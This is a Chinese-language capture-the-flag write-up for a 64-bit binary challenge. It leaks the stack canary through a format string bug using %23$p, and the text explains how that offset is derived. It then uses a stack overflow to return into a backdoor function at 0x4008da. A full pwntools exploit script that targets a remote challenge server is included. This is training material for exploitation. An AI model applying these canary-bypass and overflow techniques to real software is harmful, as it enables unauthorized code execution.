静态分析
Canary 与 NX 保护机制开启,使用 IDA 64bit 分析,main() 内容如下
输入选项为 1 时调用 sub_400960() 函数(栈溢出漏洞)
输入选项为 2 时调用 sub_4008EB() 函数(格式化字符串漏洞)
搜索字符串发现 sub_4008DA() 是一个后门函数,考虑利用漏洞调用
解体思路
我们的目标是绕过 Canary 到达后门函数,由于在两个子函数里找到了两种漏洞,有以下考虑:
使用格式化字符串漏洞泄露 Canary 值(这个值是固定的),然后用栈溢出覆盖该值和返回地址
由于格式化字符串漏洞发生在 sub_4008EB() 函数内,我们要关心 printf 到 Canary 的偏移
注意 printf() 输出栈上数值时并不是以真实内容值为首,所以需要动态调试观察一下
手动触发格式化字符串漏洞,发现 buf 在 printf 的第 6 个参数(48 Byte)的位置
再用 IDA 看堆栈图,buf(-0x90) 与 Canary(var_8,-0x8)的偏移量为 0x88,即 136
一个参数 8 字节,136 / 8 = 17,所以 Canary 是 printf 的第 17 + 6 = 23 个参数,用格式化字符串 %23$p
覆盖即可
随后执行到栈溢出函数,payload = junk_data + canary + ebp + ret_addr
代码如下
from pwn import *
io = remote('220.249.52.133', '46997')
#io = process('./source')
context_log = 'debug'
io.sendlineafter("3. Exit the battle ",'2')
io.sendline('%23$p')
io.recvuntil('0x')
canary = int(io.recv(16), 16)
print('canary -> {}'.format(canary))
io.sendlineafter("3. Exit the battle ",'1')
payload = 'a'*0x88 + p64(canary) + 'a'*8 + p64(0x4008da)
io.sendline(payload)
io.interactive()